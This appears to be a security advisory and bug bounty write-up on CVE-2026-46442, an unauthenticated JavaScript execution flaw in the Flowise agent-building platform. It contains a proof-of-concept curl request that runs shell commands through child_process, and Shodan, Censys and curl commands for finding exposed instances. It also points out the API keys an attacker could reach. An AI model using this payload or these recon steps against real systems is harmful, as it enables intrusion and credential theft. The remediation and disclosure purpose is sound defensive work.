CVE-2026-46442 is a CVSS 9.9 unauthenticated code execution vulnerability in Flowise, a self-hosted platform for building LLM agent workflows. Published June 8, 2026, it affects all Flowise versions before 3.1.2. The vulnerable endpoint — POST /api/v1/node-custom-function — executes arbitrary JavaScript on the server with no authentication required.

Fix: upgrade to Flowise 3.1.2 or later.

What Flowise is

Flowise is a drag-and-drop UI for building LLM agent pipelines. Teams use it to wire together language models, vector databases, tool calls, and data sources without writing raw integration code. It’s popular in AI prototype environments and internal tooling — someone spins it up to build a customer support bot, a document Q&A system, or an automated research agent, often on a VPS or cloud instance with minimal hardening.

That deployment pattern is the problem. Flowise is designed to be set up quickly by non-security-focused teams. Default configurations don’t enforce network restrictions, and until 3.1.2, a critical code execution endpoint had no authentication.

The vulnerable endpoint

POST /api/v1/node-custom-function is a built-in Flowise endpoint for executing custom JavaScript as part of a node in an agent flow. It’s meant to allow workflow designers to write small transformation functions — parse a response, reformat data, implement custom logic.

The endpoint accepts a function body in the request payload and executes it server-side via Node.js eval or vm.runInNewContext (similar mechanism). On a properly secured installation, only authenticated administrators should be able to call it.

Before 3.1.2, there was no route-level authorization check. Any client that could reach the Flowise port could POST arbitrary JavaScript and have it executed by the server process.

# Proof of concept (conceptual — verify on isolated test instance only)
curl -X POST https://flowise.target.example.com/api/v1/node-custom-function \
  -H "Content-Type: application/json" \
  -d '{"functionBody": "const { exec } = require(\"child_process\"); exec(\"id\", (e,o) => { return o; })"}'

The server process typically runs as a Node.js service account with read access to the working directory, environment variables (which often include API keys for OpenAI, Anthropic, or database connections), and whatever filesystem permissions the deployment configured.

Why “missing route-level authorization” is worse than it sounds

Web frameworks like Express (which Flowise uses) require developers to explicitly add authentication middleware to each route — there’s no default enforcement. A missed auth middleware on a single route means that route is wide open, even if every other route is protected.

For most routes, that’s a data leak. For node-custom-function, missing auth means unauthenticated code execution. The endpoint’s entire purpose is to run arbitrary code — so bypassing its auth check gives you exactly that.

The CVSS score of 9.9 (not 10.0) reflects a minor complexity wrinkle: the attacker needs to know the endpoint path or discover it. That’s not much of a barrier — the Flowise API routes are documented publicly and the project is open source.

How to find Flowise instances

Flowise runs on port 3000 by default. Exposed instances appear on Shodan and Censys with recognizable fingerprints.

# Shodan query
shodan search 'http.title:"Flowise" port:3000'
shodan search 'http.favicon.hash:[flowise hash]'

# Censys
censys search 'services.http.response.html_title="Flowise"'

# Direct fingerprint check
curl -s https://target.example.com:3000/ | grep -i flowise
curl -s https://target.example.com/ | grep -i "flowise\|chatflow"

# Check version in API response
curl -s https://flowise.target.example.com/api/v1/version
# Versions < 3.1.2 are vulnerable

For bug bounty purposes, confirm the instance is in scope before probing. AI infrastructure increasingly appears as a scoped asset in programs that cover self-hosted tooling. Avoid automated scanning — most programs prohibit it without prior approval.

What vulnerable versions return:

# Version check
curl -s https://flowise.target.example.com/api/v1/version
# {"version":"3.0.4"} → vulnerable
# {"version":"3.1.2"} → patched

Version confirmation alone is sufficient to report. Do not execute code on in-scope targets without explicit program permission for RCE testing.

Credential exposure via environment variables

A detail worth including in your report: Flowise instances almost always have LLM provider API keys set as environment variables (OPENAI_API_KEY, ANTHROPIC_API_KEY, etc.) and database connection strings. A successful exploitation of this endpoint gives direct access to all of them.

On many deployments those keys have no IP restrictions and are billed to a corporate account. For programs where credential exposure is a separate finding category, that’s two reports from a single vulnerable endpoint.

Similar vulnerabilities in AI orchestration tools

Flowise isn’t an isolated case. N8n, a workflow automation platform with similar self-hosted deployment patterns, shipped two unauthenticated RCE vulnerabilities in 2026: CVE-2026-21858 and CVE-2026-25049. Both involved insufficient authorization checks on webhook and execution endpoints — the same class of mistake as CVE-2026-46442. PraisonAI’s CodeAgent RCE is a variation on the theme: instead of a missing auth check, it’s LLM-generated code running with zero sandboxing.

The pattern keeps appearing in AI tooling: platforms designed for developer speed ship with authentication as optional or incomplete. Any platform that executes code as a core product feature needs explicit route-level auth enforcement, not framework defaults. Flowise, n8n, Langflow, and similar tools are all worth checking on bug bounty programs that scope internal AI infrastructure.

For tracking newly published CVEs that follow this pattern, the CVE intelligence tools overview covers the main sources worth monitoring.

Remediation

For operators:

  1. Upgrade to Flowise ≥ 3.1.2 immediately — this is the only real fix
  2. Before upgrading, add network-level restrictions to the Flowise port (firewall, security groups, reverse proxy with IP allowlist)
  3. Rotate any API keys and database credentials stored as environment variables — if the instance was publicly accessible while running a vulnerable version, assume they’re compromised
  4. Enable Flowise’s built-in authentication (FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables) — this was available before 3.1.2 but wasn’t enforced on all routes

Verification after upgrade:

# After upgrading, confirm unauthenticated access to node-custom-function is blocked
curl -X POST https://flowise.example.com/api/v1/node-custom-function \
  -H "Content-Type: application/json" \
  -d '{"functionBody": "return 1+1"}' 
# Should return 401 or 403, not a result

Programs with this in scope

ProgramMax bounty
Swiss Post E-Voting€230,000
Doctolib€50,000

Both programs are on Intigriti. Flowise would appear as an in-scope asset if these organizations use it as part of their AI infrastructure. Confirm asset scope before testing.

References